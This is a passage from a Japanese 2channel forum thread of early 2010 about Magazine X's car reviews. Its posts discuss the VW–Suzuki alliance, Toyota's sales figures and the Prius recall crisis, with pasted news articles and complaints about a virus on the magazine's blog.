1月21日(ブルームバーグ):欧州最大の乗用車メーカー、ドイツのフォルクスワーゲン(VW)は、
計画中の小型車へのスズキの技術の活用に関心を持っており、35の協力プロジェクトが検討されている。
ドイツの経済誌マネジャー・マガツィーンが21日、事情に詳しい複数の匿名の関係者の話を引用して報じた。

  同誌によると、スズキのプラットホーム(車台)を利用できた場合、一部の小型車モデルのコストを
20%削減できる可能性があるとVWはみており、開発担当者らが現在、技術の互換性を調べている。

228 :名無しさん@そうだドライブへ行こう:2010/01/22(金) 22:34:55 ID:/OEkpM7Z0
馬鹿みたいに貼ってんじゃねーよ
ホントうざい
うせろ!
おまえもしかしたら神か?

229 :名無しさん@そうだドライブへ行こう:2010/01/22(金) 22:54:25 ID:aS8lwria0
http://pc11.2ch.net/test/read.cgi/sec/1263822552/411n-
またですか。。。

230 :名無しさん@そうだドライブへ行こう:2010/01/22(金) 23:36:21 ID:oN6cMKwZ0
ミエミエの貼り付けの繰り返しよりも
ウイルス再発情報のほうが
はるかに重要なのでは?
中の連中 悪いとも思ってないんだろう
ほんと読者小バカにしてるよな

231 :名無しさん@そうだドライブへ行こう:2010/01/22(金) 23:59:16 ID:gkP+WL7b0
ウイルスと共に総括してパージせよ

232 :名無しさん@そうだドライブへ行こう:2010/01/23(土) 00:56:11 ID:s66pWs0v0
【削除】掲示板『2ちゃんねる』の都合の悪いスレッドを削除してくれるサービス / スレッド1本の削除費用12〜40万円★2
http://tsushima.2ch.net/test/read.cgi/newsplus/1264131847/

233 :名無しさん@そうだドライブへ行こう:2010/01/25(月) 12:14:29 ID:H2k8fgfF0
またやらかしたの?

234 :名無しさん@そうだドライブへ行こう:2010/01/25(月) 21:49:05 ID:ZbxYL6Yn0
ある意味、すべてやらかしです

235 :名無しさん@そうだドライブへ行こう:2010/01/25(月) 22:43:01 ID:RPe6G+620
トヨタ、世界販売781万台=VW・スズキを下回る−昨年
http://www.jiji.com/jc/c?g=ind_30&k=2010012500732

 トヨタ自動車が25日発表した2009年の世界販売実績(ダイハツ工業と日野自動車を含む)は、
前年比12.9%減の781万3313台だった。
マイナスは2年連続。各国政府の新車購入促進策で年後半は販売が持ち直したものの、世界同時不況に伴う前半の不振が響いた。
 また、独フォルクスワーゲン(VW)グループと包括提携したスズキが同日発表した世界販売実績(速報値)は、2.2%減の
230万8000台。VWと合計すると約860万台だった。
トヨタは出資している富士重工業などを含めていないため比較は難しいが、VW・スズキがトヨタを上回った形だ。
08年にトヨタに次いで2位だった米ゼネラル・モーターズ(GM)は09年の販売実績をまだ公表していない。

236 :名無しさん@そうだドライブへ行こう:2010/01/26(火) 12:19:53 ID:iCHdxXGX0
【自動車】仏プジョーと三菱自の出資協議、取得価格で難航=仏紙[10/01/26]
http://anchorage.2ch.net/test/read.cgi/bizplus/1264469164/

237 :名無しさん@そうだドライブへ行こう:2010/01/26(火) 23:40:58 ID:vJIP3qFv0
トヨタ、2009年のグループ総生産台数は前年比11.7%の減少
Goo-net(グーネット)
http://www.goo-net.com/goo_news/news_category9/n_number2141.html

トヨタは1月25日、2009年のグローバル生産台数ほかを発表した。
それによると、ダイハツ、日野自動車を含めたグループ全体の生産台数は、前年比 11.7%減少の723万4439台であった。

トヨタ単独でみると、グローバル生産台数は、前年比22.4%減少の637万1291台。
国内の生産台数は、30.4%減少の279万2274台と、大きく落ち込んだ。
これは、輸出が振るわなかったのが、主な原因に挙げられている。

国内の販売台数で見ると、前年比6.4%減少の137万5509台。
下落の幅が少なくて済んだのは、ハイブリッドカー「プリウス」の大ヒットによるもの。
逆に、一番深刻なダメージを受けているのは輸出で、前年比44.1%の減少となる144万4720台。
急激な円高や、世界的な需要低迷の影響が大きかったようだ。

一方、トヨタが展開するレクサスブランドでは、国内販売が8.6%増加の2万8167台。
ハイブリッドカー「HS250h」の人気が、販売の増加に貢献したようだ。

238 :名無しさん@そうだドライブへ行こう:2010/01/27(水) 01:02:11 ID:Q5+OxGr50
最近トヨタ車の総括しなくなったな

239 :名無しさん@そうだドライブへ行こう:2010/01/27(水) 05:55:41 ID:dv5El/OQ0
>>238
今回はマークXの総括をしていたけど、2ページで終わってた。
相当やる気ない。
その後の太田のレポを見てると、この本は何をやりたいのか
よく分からん。

240 :名無しさん@そうだドライブへ行こう:2010/01/27(水) 08:18:59 ID:vfThIKoZ0
両角氏が離れちゃったみたいだからな。
ここ最近の総括は複数人の自動車評論家からコメントをとって、それを会話風に纏めているっぽい。
こないだのボルボはFロード見れば分かるがM氏だろ。
デザインはT氏と。

まあ、自動車評論家の本音が分かるって意味では貴重かもね。

>>238、239
印象に残ってないんでしょ。多分。


241 :名無しさん@そうだドライブへ行こう:2010/01/27(水) 08:28:57 ID:kKg7kl0C0
事実上完全スルーみたいになってるじゃん>トヨタ車
前回のプラドも今回のマークXもたったの2ページで
個別の車に関することにはほとんど触れてない
触れる意味すらない、みたいな扱いになってる

242 :名無しさん@そうだドライブへ行こう:2010/01/27(水) 09:55:52 ID:0ZzeEFYH0
良いなんて勧めてまたアクセルが戻らない欠陥車だったりしたらたまらないもんね。

243 :名無しさん@そうだドライブへ行こう:2010/01/27(水) 11:50:04 ID:Zq1Kq5JG0
トヨタを叩くと連結子会社のダイハツにダメージがあると気が着いたから

244 :名無しさん@そうだドライブへ行こう:2010/01/27(水) 15:15:09 ID:wyp2IE+v0
>>239
実際、今のトヨタ車に褒めたり評価する部分が無いからな。

245 :名無しさん@そうだドライブへ行こう:2010/01/27(水) 18:35:55 ID:4nk7Fy670
>>241
理由は簡単
輸入車の総括だと国産車(主にトヨタ)の批判で1Pぐらい使うから




246 :245:2010/01/27(水) 18:39:05 ID:4nk7Fy670
途中で書き込んでしまった

理由は簡単
輸入車の総括だと国産車(主にトヨタ)の批判で1Pぐらい使うから
なので輸入車の総括は長くなり、トヨタ車の総括は短くなる

247 :名無しさん@そうだドライブへ行こう:2010/01/27(水) 19:03:15 ID:arkAeZRX0
しかしヨタもマジでヤバイな

248 :名無しさん@そうだドライブへ行こう:2010/01/27(水) 20:07:50 ID:2PkB3rqA0
相変わらずディーラーの正月休みは悪である。
のスタンスで記事を書いているが

車のディーラーは通常土日出勤だが、正月/GW/旧盆は休みと言う事で
他の小売業より就業の条件は良い。
と言う事で従業員定着に役立っているんだがな。
そう言う方面からも切り込んで欲しいぞ。

249 :名無しさん@そうだドライブへ行こう:2010/01/28(木) 02:55:54 ID:P+qYuK/a0
>>239
どういうことかと、今日読んだら、ポロ・ミト・マークXの総括だったのね
ならマークXに2Pしか割いてないのも仕方ないだろw

関東自動車は昔っからアルテッツアの開発もやってたところだから、その流れでマークXもやってるのかとも思うが、
今回の場合は、本当に丸投げしたのかな?

あと走りの評価が一般誌でえらく高いのはトヨタと無関係だからか?と思ったりしたw

250 :名無しさん@そうだドライブへ行こう:2010/01/28(木) 03:01:50 ID:P+qYuK/a0
>>247
北米市場の落ち込みがトヨタ(レクサス含む)は半端ないからな。
中国市場含む新興国でも出遅れているし・・・・

総括ではないが、トヨタ車は総安物化してる。
カーシェアするような世帯にはお勧めできるね。

251 :名無しさん@そうだドライブへ行こう:2010/01/30(土) 03:45:41 ID:Hg6ilxK/0
今回の大規模リコールで
今までの総括の主張通り
トヨタ車は安物だったことが証明されてしまったな

252 :名無しさん@そうだドライブへ行こう:2010/01/30(土) 22:40:37 ID:LAqefTQ90
まず、ブログをリコールしろよな。
ったくよ。

253 :名無しさん@そうだドライブへ行こう:2010/01/31(日) 00:29:27 ID:ntwKJgK40
>>251
怖いよねえ・・・

今や全世界から大バッシング。
フォードが一時期、膨大なキャッシュを保有していたけど、エクスプローラーのリコール問題以降、一気に失速して
遂には公的資金投入か?と言われたけど、
トヨタがそうならないことを祈る。

254 :名無しさん@そうだドライブへ行こう:2010/01/31(日) 03:29:29 ID:PmPHQ6fL0
http://mainichi.jp/select/biz/news/20100130k0000e020020000c.html?link_id=RAH01
>米自動車大手ゼネラル・モーターズ(GM)が、
>トヨタ車からGM車に買い替える顧客に1000ドル(約9万円)の現金>払い戻しなどで
>優遇するという乗り換えキャンペーン実施を発表したのに続き、
>米フォード・モーターや韓国・現代自動車も同様の買い替え優遇策実施を決めた。

アメリカは容赦無いな

255 :名無しさん@そうだドライブへ行こう:2010/01/31(日) 10:44:18 ID:8VplntF60
久しぶりに見たらウイルス仕込んであって
ビックリしてここにたどり着いたw
これワザとウイルス仕込んでるのか?

256 :名無しさん@そうだドライブへ行こう:2010/01/31(日) 11:59:43 ID:sxecpbz20
愛読者へ感謝の還元週間ってヤツじゃね?

257 :名無しさん@そうだドライブへ行こう:2010/01/31(日) 23:08:24 ID:SFlK8/Xl0
定価590円に値上げしたんだな。
俺はこの本とベストカーとNAVIを買っている。
NAVIは来月で終わりなのでマガジンXのページ数が増えるのは大歓迎だ。

258 :名無しさん@そうだドライブへ行こう:2010/02/01(月) 00:27:12 ID:LB4cYWZy0
>>257
あー、本当だ。
昨年11月に年間定期購読を申し込んだ時は6,000円だったのに7,080円に値上げされてる。
370円の頃から買ってるから、だいぶ高くなった感じがする。
如何わしい広告があるのに値上げですか。
一時期、ヘンな広告が全て消えたこともあるんだが。

259 :名無しさん@そうだドライブへ行こう:2010/02/01(月) 10:36:25 ID:NAw2wd0h0
ベストカー
MAG−X
Fロード
CG

これだけが雑誌として存続すればおk

260 :名無しさん@そうだドライブへ行こう:2010/02/01(月) 18:45:49 ID:GV9DAlJw0
モロマガ来た

261 :名無しさん@そうだドライブへ行こう:2010/02/01(月) 20:04:49 ID:2WqPBAhR0
俺はマガジンX、ベストカー、カーアンドドライバー、NAVIを読んでいる。

262 :名無しさん@そうだドライブへ行こう:2010/02/01(月) 21:28:25 ID:P1sgwrPo0
全部なくなっても別に困らんなあ。
マグペケ? www どうでもいい

263 :名無しさん@そうだドライブへ行こう:2010/02/02(火) 01:16:26 ID:8ckYnrKA0
>>258
自動者メーカーの広告を入れないことで忌憚のない記事を書いてんだから多少のイヤラしい広告は仕方ない

264 :名無しさん@そうだドライブへ行こう:2010/02/02(火) 03:45:53 ID:YqDPXyO80
たいして株価下がってないな
トヨタもホンダも
なんだかんだで強いっってことか?

265 :名無しさん@そうだドライブへ行こう:2010/02/02(火) 10:34:33 ID:qbzWFoTo0
トヨタのリコールについて、きちんとした検証記事載ってる?
それこそMAG-Xの一番張り切るべきところだと思うんだが。

266 :名無しさん@そうだドライブへ行こう:2010/02/02(火) 12:30:06 ID:S0zvE2/60
来月号で特集があるんじゃないの?

267 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 01:04:39 ID:PkBQIwbJ0
戦線を拡大し過ぎたせいで、下請けの部品チェックが出来てなかった、とか言ってるけど、
無茶苦茶な下請け虐めしておいて、よく責任をなすりつけるものだと思うわw

268 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 01:20:55 ID:PFarSLAG0
下請けいじめで検証が止まってるやつが一番問題

269 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 07:50:02 ID:DFNgRFl+0
頼みの綱のプリウスまで逝っちゃいそうだね。
ブレーキ抜けを指摘されていたのに放置してたからな。
けん引役の次世代車として売り出したプリウスがこれではね。
不運もあったのかも知れないが、消費者を蔑ろにするようになった
トヨタの体質に一番大きな原因があることは間違いない。

トヨタ、マジヤバだね。
内部留保も動かせる現金は少ないとの分析もあるし。
「まさか」の事態もあり得るという見解は軽視していたが、
今は妙にうなずけてしまうところがある。



270 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 09:02:19 ID:PkBQIwbJ0
トヨタが輝いていたのは、奥田-和田体制の時代だったね。
初代プリウス、初代ヴィッツを世に送り出した当時は本当に凄かった。
あの頃は欧州でシェアを伸ばすぞ!と宣言して、あちらを通用する商品を造ろうと一所懸命だった。
こんな事が出来たのも、副社長の和田さんが目を光らせていたからなんだが・・・・

和田さんが出向して、奥田が会長になった後は、技術開発より覇権主義が目立つ会社になってしまった。
さらに部品調達部門出身の渡辺社長時代になると、下請けから部品を安く買い叩き、開発を丸投げする風潮が加わった。

今の豊田社長は本当に巡り合わせが悪いとは思う。

271 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 09:45:14 ID:PkBQIwbJ0
【トヨタ】新型プリウス、ブレーキ苦情が米で102件 日本でも 「横断歩道で止まれない」
http://tsushima.2ch.net/test/read.cgi/newsplus/1265138016/

あーあ

272 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 09:47:30 ID:PkBQIwbJ0
http://www.asahi.com/business/update/0202/NGY201002020031.html
http://www.asahi.com/business/update/0202/NGY201002020031_01.html


273 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 10:36:07 ID:IK9M6Cxt0
>270
> 今の豊田社長は本当に巡り合わせが悪いとは思う。

ヒント・前にも久しぶりに創業家出身社長という期待をされた人物がすぐに引き落とされている。

274 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 10:49:49 ID:hvdWzy8a0
>>269
スターレットの頃から下位グレードにはブレーキが付いてなかったじゃん。
何を今更。

275 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 12:32:27 ID:PkBQIwbJ0
アップル共同創業者のトヨタ車にも不具合−リコール対象外のプリウス
http://www.bloomberg.co.jp/apps/news?pid=90920010&sid=aao77GjWLQeU

同氏は2日のインタビューで、トヨタ自動車のプリウス2010年モデルがクルーズコントロール
(自動速度制御装置)使用時に意図せずに加速し、最大で時速156キロに達することがあると述べた。
同氏はソフトウエア関連の欠陥が原因である公算が大きいとみているが、同氏の苦情に対し、
トヨタと米道路交通安全局(NHTSA)からは、この2カ月間返答がないという。
トヨタのウェブサイトによれば、リコール(無料の回収・修理)対象台数535万台の
中には、アクセルペダルがフロアマットに引っ掛かる恐れがあるプリウスの04年−
09年モデルが含まれる。しかし、ウォズニアック氏の所有するクルーズコントロール
付き10年モデルは対象外だ。

ウォズニアック氏(59)は、
「わたしの事例が重大かつ緊急である理由は、それがエレクトロニクスにかかわるからだ。」
「アクセルペダルに足が触れない状態でも、クルーズコントロールの使用時にそれは起きる」と説明した


あーあ、セレブに人気ってのを散々利用したツケが回ってきたな。

276 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 13:32:30 ID:w3F6Bb6i0
>>265
自社のブログがウイルス感染していたのを
このスレで指摘されるまで隠蔽していた
三菱ふそうみたいな雑誌屋に
批判する資格なんかないだろw

277 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 13:46:01 ID:PkBQIwbJ0
結局、総括大勝利に終わるとはw
数ヶ月前は考えられなかったw

278 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 15:27:26 ID:GM4in3zxP
>>277
総括、神すぎワロタ

279 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 16:48:55 ID:1wHBmlqc0
>>277
総括になにか書いてあったっけ?

280 :猿回し:2010/02/03(水) 19:06:59 ID:DFNgRFl+0
ほらあ。だからオレ様が逝った通りだろ?
プリプリなんかエコカーでもなんでもないし。
そもそもまだ市販車レベルにですら達してない。
トヨさまのやることは、こんなもんだ。

皆オレ様に謝れ。オレを崇めろ。神と崇めろ。


281 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 20:58:13 ID:Agf1LFPI0
総括では、まずいとは言い続けてきたけれど、
食中毒を起こすとは言ってなかった。
トヨタのクルマは嫌いだけど、便乗して悪ノリするのはなんだかねぇ…

282 :名無しさん@そうだドライブへ行こう:2010/02/03(水) 21:12:37 ID:TMY/Ycpv0
なんとフランスだけはトヨタに同情してるみたいだぜw

283 :名無しさん@そうだドライブへ行こう:2010/02/04(木) 00:03:17 ID:xghp1GlF0
総括メンバーも言ってたけど、最近の車は本当にテストコースでしか走行実験してないんだろうな。
プリウスの件も、一般道でもっと時間をかけて走行テストをしていれば市販前に改善できてたと思うんだが。
 

284 :名無しさん@そうだドライブへ行こう:2010/02/04(木) 00:31:36 ID:WPXmh+sr0
【池原照雄の単眼複眼】VWスズキ「世界販売首位」報道の???
http://response.jp/article/2010/01/27/135453.html

◆読者惑わすご都合主義の集計
25日から26日の新聞・テレビ報道を見て、
スズキの鈴木修会長兼社長は「ウチはいつからVW(フォルクスワーゲン)の子会社になったんだ?」と笑ったのではないだろうか。
2009年の世界販売でVWとスズキを合算するとトヨタ自動車を抜いて「首位」になったと一斉に報じられたからだ。
筆者も25日夜の NHKニューズを見て、でんぐり返る想いだった。

世界再編がうねり始めた自動車産業でVWとスズキの提携がいかに巨大であるかを読者に伝えたいのだろうが、
その時の状況によってカウントを変えるご都合報道は、かえって読者を惑わすだけだ。

自動車企業や企業グループの世界販売実績は、連結決算の範囲で集計したり、比較したりするのが1990年代半ばから慣例となってきた。
合弁会社が基本の中国では持分法適用会社の販売実績を加えるという例外はあるが、要は連結業績に影響を与える企業群の
販売ボリュームを見るところに意味がある。

◆スズキがVWのブランドになったわけでない
VWはすでにスズキに19.9%を出資する筆頭株主となり、両社の業務提携は幅広いものとなっていくだろう。
だが、昨年12月の提携発表会見で鈴木会長が「みなさん勘違いされているのではないか。
(提携でスズキが)VWの12番目のブランドになったわけではない」と述べたように、両社は提携メリットを追求しながらも、
独立した事業体としてやっていくのだ。

かつて、スズキに2割強を出資していた米GM(ゼネラルモーターズ)の世界販売に、スズキ分が合算されて報道されることはなかった。
仮に資本と業務の両面で提携があるのを「連合」とするなら、トヨタの実績にはダイハツ工業と日野自動車のほかに、
富士重工業といすゞ自動車も加えて比較しなければならない。

285 :名無しさん@そうだドライブへ行こう:2010/02/04(木) 00:32:39 ID:WPXmh+sr0
つづき

◆ 2009年もトヨタが首位を堅持
日本各社の2009年の生産・販売実績は25日に発表されたのだが、ご丁寧に予定稿まで用意し、
スズキの実績が分かった段階で「VW・スズキ、世界販売1 位」と同日の夕刊で報じた全国紙があった。

これを見た各紙の朝刊担当デスクが、担当記者に「とにかく入れろ」と、追随を迫ったのだろう。
事情の分からないデスクとやり合わねばならない担当記者もお気の毒だ。

ということで、まだGMの実績は発表されていないものの、トヨタグループの781万台(前年比13%減)に届かないのは確実であり、
「トヨタが2009年も世界販売首位を堅持」したことを、ここで強調しておこう。

286 :名無しさん@そうだドライブへ行こう:2010/02/04(木) 00:55:21 ID:AA+3cUh90
しかしここ数日のトヨタ叩きの集中砲火は酷いね。
でも、ここ数年トヨタはおかしかったよ。白物家電のような車ばっかりで、今までの売りであった
内装も質感がなくなって、今のクラウンのプラスチッキーな内装、あれはないでしょ?
トヨタの重役はあれでOKしたというのが信じられない。でも、>>270が書いたようにあの渡辺社長、
カイゼンとコストダウンしか言ってなかったしな、よりよい車を顧客に提供するなんてこと一言も
聞いたことないよ、フォーブスで名経営者で名前が出てたけれど己の欲に邁進した最低な経営者だと
思ってる。

まっ、これで痛いお灸を据えられて以前のFun To Driveな車が再び登場することを願ってるよ。

287 :名無しさん@そうだドライブへ行こう:2010/02/04(木) 01:11:21 ID:ka7el6om0
キーワード【 VW 総括 吉林 ダイハツ スズキ VW トヨタ 】

288 :名無しさん@そうだドライブへ行こう:2010/02/04(木) 07:54:27 ID:W5zVgqix0
>以前のFun To Driveな車が再び登場

トヨタ車にあったっけ??

289 :名無しさん@そうだドライブへ行こう:2010/02/04(木) 08:57:43 ID:bUJYyRjE0
ヨタハチあたりは当時としては結構楽しかったかもね

290 :名無しさん@そうだドライブへ行こう :2010/02/04(木) 17:52:49 ID:Wk+y9S6S0
>>288
初代MR-2、2代目ソアラ、セリカGT-FOURなどは普通に座って運転しててしっくり
くるものがあるんだよね。今乗っても楽しいし、それに作り手の意気込みを感じるよ。

291 :名無しさん@そうだドライブへ行こう:2010/02/04(木) 22:17:15 ID:W5zVgqix0
セリカGT-FOURは、最終型の評価は総括でも高かったね。
流面系は、ケチョンンケチョンだったけれど。

292 :名無しさん@そうだドライブへ行こう:2010/02/05(金) 00:40:55 ID:cUUbnwd60
マークXの記事が面白いことになってたな

293 :名無しさん@そうだドライブへ行こう:2010/02/05(金) 09:33:59 ID:DMhiPeQD0

トヨタグループの主な会社一覧
ttp://kaisha-mechanic.com/4-group/toyota01.htm

294 :名無しさん@そうだドライブへ行こう:2010/02/05(金) 11:00:31 ID:dZqCvlQG0
総括とカラーページのマークX評価違いすぎて吹いた

295 :名無しさん@そうだドライブへ行こう:2010/02/05(金) 17:25:03 ID:vGGWz8v90
そんなもん20年前からの伝統だ

296 :名無しさん@そうだドライブへ行こう:2010/02/05(金) 18:15:46 ID:757zkBFv0
3500が良くて、2500がだめなんだろ。
カーアンドドライバーでも3500をほめてた。

297 :名無しさん@そうだドライブへ行こう:2010/02/05(金) 18:20:17 ID:vGGWz8v90
あんたが乗って良いってんなら話も分かるが
提灯記事雑誌がソースってどんだけ素直な心の持ち主だよ

298 :名無しさん@そうだドライブへ行こう:2010/02/05(金) 18:33:39 ID:JmZM4Bgp0
>>295
初代編集長が、スクープ段階と総括での評価の違いを説明していた。
「スクープすることで迷惑をかけているのだから、そのときは悪いことは書けない」と。

現在の、太田さんの試乗記との評価の差は、単に評価ポイントの違いでしょう。

299 :名無しさん@そうだドライブへ行こう:2010/02/05(金) 23:13:27 ID:CoYg1ZIt0
スズキ、中国で1万台リコール 新型アルト対象

日本経済新聞
http://markets.nikkei.co.jp/kokunai/tegakari.aspx?site=MARKET&genre=c3&id=ATDD0506W%2005022010

【北京=高橋哲史】
中国国家品質監督検査検疫総局は5日、スズキの中国合弁会社である重慶長安鈴木汽車が同総局に、
中国で販売した新型アルトのリコール(回収・無償修理)を届け出たと発表した。
2009年7月6日〜10年1月17日に生産した1万326台が対象で、5日にリコールの受け付けを開始した。
溶接に問題があり、ガソリン濾過(ろか)器が外れる恐れがあるという。
長期間使用すると、濾過器につながった送油管にひびが入り、燃料漏れを引き起こす危険があるとしている。

300 :名無しさん@そうだドライブへ行こう:2010/02/06(土) 01:10:50 ID:kheCkwAS0
太田ってのは信用できるのか?
毎回どの車も褒めてるが…

301 :名無しさん@そうだドライブへ行こう:2010/02/06(土) 01:54:11 ID:Z6bIHOPQ0
>300
> 太田ってのは信用できるのか?
> 毎回どの車も褒めてるが…

どの車でもうまく乗れる人だから、良いところも悪いところもあるのが普通だと思って評価する。

普通の自動車評論家はそういうインプレは書けないからな。

302 :名無しさん@そうだドライブへ行こう:2010/02/06(土) 07:04:31 ID:KVz28IJ50
ダイハツの燃費偽装もツッコミが中途半端だったな

303 :名無しさん@そうだドライブへ行こう:2010/02/06(土) 08:43:47 ID:GN8d1/HT0
もう、安心して乗れる車なんてないね。
今乗ってる車が朽ち果てるまで乗ってるしかないか。

全ての車滅ぶべし。。。
は〜。なんか空しい。



304 :名無しさん@そうだドライブへ行こう:2010/02/06(土) 19:22:06 ID:2utVmoCm0
《経済》 スズキ、2年連続で減収減益 四輪、二輪の販売減や円高響く
http://www.chunichi.co.jp/article/shizuoka/20100206/CK2010020602000192.html

305 :sage:2010/02/06(土) 19:36:59 ID:2eMpbN/D0
>>270 和田氏はともかく、奥田は癌、元凶だろ!


306 :名無しさん@そうだドライブへ行こう:2010/02/06(土) 19:39:31 ID:2eMpbN/D0
誤爆orz s最期まで読まずごめんね。

307 :名無しさん@そうだドライブへ行こう:2010/02/06(土) 22:28:18 ID:MYegl+qK0
>>295
20年前と現在じゃレベルが違いすぎる

大したネタでもないのに「スクープ」
ウイルス、不倫ネタとか自分たちに都合が悪い話はスルーで
クレームがこないようなネタだけ「上っ面批判」

308 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 01:56:00 ID:z6u23ToG0
>>303
トヨタばっかりが車じゃないぞ。


以前、何の総括だったか忘れたが、トヨタは傲慢になってきている、と書かれていたが、
今までの会見見てると納得したわ。
車は大したことないのは知ってたけど(プリウス除く)、お客様対応だけはきっちりする会社だと思ってた。

昔、煽られてアルテッツァに乗ってたけど、今のプリウスオーナーには心から同情する。


309 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 06:26:38 ID:DeE1wC6P0
プリウスオーナーに同情?
う〜ん。オレにはただの間抜けにしか見えないが。
情報収集不足。自己責任。

310 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 07:11:29 ID:UvhxhKHm0
>>308
何年か前にダイハツに出向してるトヨタの役員が
若いお客さんのことを「連中」呼ばわりしてただろ

今のトヨタは安い価格帯の車を買う人間のことを
客とは思ってない

エコノミーに乗る奴を客とは思ってなかったJALみたいなもん

311 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 09:54:03 ID:2Obi+oiY0
商売とは残念ながらそんなもん

312 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 10:21:56 ID:DeE1wC6P0
いや。20年前のトヨタはそんな商売はしてなかったよ。
カローラの一番安いのを買った客(父)もずっと大切にしてたよ。
当時のトヨタは尊敬できる部分も躍進する要素もあったと思うよ。


313 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 11:39:50 ID:3sRFnoMB0
プリウス、60カ国で無償改修 トヨタ
http://www.nikkei.co.jp/news/main/20100207ATDD0601P06022010.html

314 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 12:43:56 ID:CT49frqi0
失敗百選
三菱の失敗に学べ

JST失敗知識データベース > ランキング - 失敗百選

三菱自動車のリコール隠し
ttp://shippai.jst.go.jp/fkd/Detail?fn=0&id=CB0011010&

(PDF)
ttp://shippai.jst.go.jp/fkd/Detail?fn=2&id=CB0011010

315 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 13:23:21 ID:qDV3dLL10
トヨタは初代セルシオを出した頃で終った。
あとはむやみなコストダウンと他メーカーの後追い・パクリ企画ばかり。
優秀な技術者なんかもその昔はいたけど今は皆無だからな。

316 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 18:35:04 ID:2Obi+oiY0
>>312
トヨタ本体と販売会社は別だろ

317 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 18:37:16 ID:2Obi+oiY0
>>315
セルシオもQ45の後追いじゃなかったか?
キャラクターは微妙に違うけど

318 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 19:01:14 ID:z6u23ToG0
トヨタが終わったのは、初代プリウス・背高ビスタ・初代ヴィッツあたりを出したあたりかな・・・・

それ以降、トヨタのエンジニアリングで見るべき物は何もない。
進んだのはコストダウンだけ。

319 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 19:33:40 ID:DeE1wC6P0
>>316
まあ、別だけど。上手く言えないが、なんていうのかな。
トヨタからディーラーまで、お客様第一の一貫した雰囲気があった。
故障しても壊れた部品をすぐに交換して、直し直し大切に使う感じ。
なんというか、安心感や信頼感がトヨタにもディーラーに対してもあった。
絶対におかしなことはしないだろうっていう感じかな。今は全くないが。
車の構造自体が変わっちゃったから、そんな古い昔話を持ち出すなよと
言われれば、まあ、確かにそうなんだが。


320 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 20:19:08 ID:qDV3dLL10
>>317
セルシオはベンツのマネなんだけど
なんとかしてベンツみたいないい車を造るぞっていう気概があって
開発した車なんだよな。
だからそれなりに良くできてるし、
今見てもエクステリアなんかは極端に古臭いって感じもないしね。

バブル弾けた後に出したカムリやビスタって
あからさまにコストダウンしたってのがわかるくらいだったから
バルブ弾けて経費削減みたいなことやり始めて
おかしくなったんだろうな。


321 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 20:30:35 ID:H2Nst2cF0
89年10月発売のセルシオが、
同11月発売のQ45の後追いですか・・・

322 :名無しさん@そうだドライブへ行こう:2010/02/07(日) 22:58:52 ID:rbLtHI+m0
トヨタ、「SAI」とレクサス「HS250h」もリコールへ
http://www.nikkei.co.jp/news/sangyo/20100207AT3D0700407022010.html

323 :名無しさん@そうだドライブへ行こう:2010/02/08(月) 00:11:33 ID:jmA/aXiL0
オワタ

324 :名無しさん@そうだドライブへ行こう:2010/02/08(月) 04:17:57 ID:rV7BJpZ90
今月号か来月号で総括緊急特集やるのかな
トヨタ問題について

自動車部品の特集やったばっかなのにな

325 :名無しさん@そうだドライブへ行こう:2010/02/08(月) 11:27:47 ID:2fb2VFWF0
米トヨタ、対策済み車の販売再開 大規模リコール実施で
http://www.daily.co.jp/society/economics/2010/02/08/0002696757.shtml

トヨタ:新型プリウスのリコール、10日にも発表
http://mainichi.jp/select/jiken/news/20100208k0000e020037000c.html

326 :名無しさん@そうだドライブへ行こう:2010/02/08(月) 12:02:12 ID:+Z+jaR8A0
新型プリウスの下取り価格は三菱車レベルに
http://namidame.2ch.net/test/read.cgi/auto/1265524320/

327 :名無しさん@そうだドライブへ行こう:2010/02/08(月) 12:35:54 ID:+Z+jaR8A0
【自動車】BMWとPSA、次世代4気筒エンジン共同開発で合意[10/02/03]
http://anchorage.2ch.net/test/read.cgi/bizplus/1265385809/

328 :名無しさん@そうだドライブへ行こう:2010/02/08(月) 18:12:49 ID:tUy68nq10
トヨタは嫌いだからどれだけ批判されようが構わないんだけど
じゃあ、日産やホンダはちゃんとお客を見た車作りをしているのか?
って問われると、残念ながらトヨタとあんまり変わらないだよな
トヨタに隠れて目立たないけど、実は日産の下請けへの圧力はトヨタ以上だし
トヨタを筆頭に日本の自動車会社全体が拝金主義みたいになっている気がする


329 :名無しさん@そうだドライブへ行こう:2010/02/08(月) 18:32:53 ID:Fj580RXI0
じゃあ全車潰して車作りは韓国・中国に任せればって話だ。

330 :名無しさん@そうだドライブへ行こう:2010/02/09(火) 00:15:57 ID:5e/+jL+C0
【社会】 トヨタが大量リコールしたCTS社のアクセルペダル、ホンダ・日産・三菱の3社が採用するも不具合なしと表明
http://gimpo.2ch.net/test/read.cgi/wildplus/1265614448/

331 :名無しさん@そうだドライブへ行こう:2010/02/09(火) 00:45:05 ID:sF7sRFNS0
>>327
欧州はエンジンの開発をさかんにやってるなあ
小型車はハイブリッドの相性悪いんだから、VWポロみたいにトランスミッション&エンジンの効率化で勝負すべきなんだよ。
日本の交通事情ではCVTに走るのは仕方ないとしても・・・・

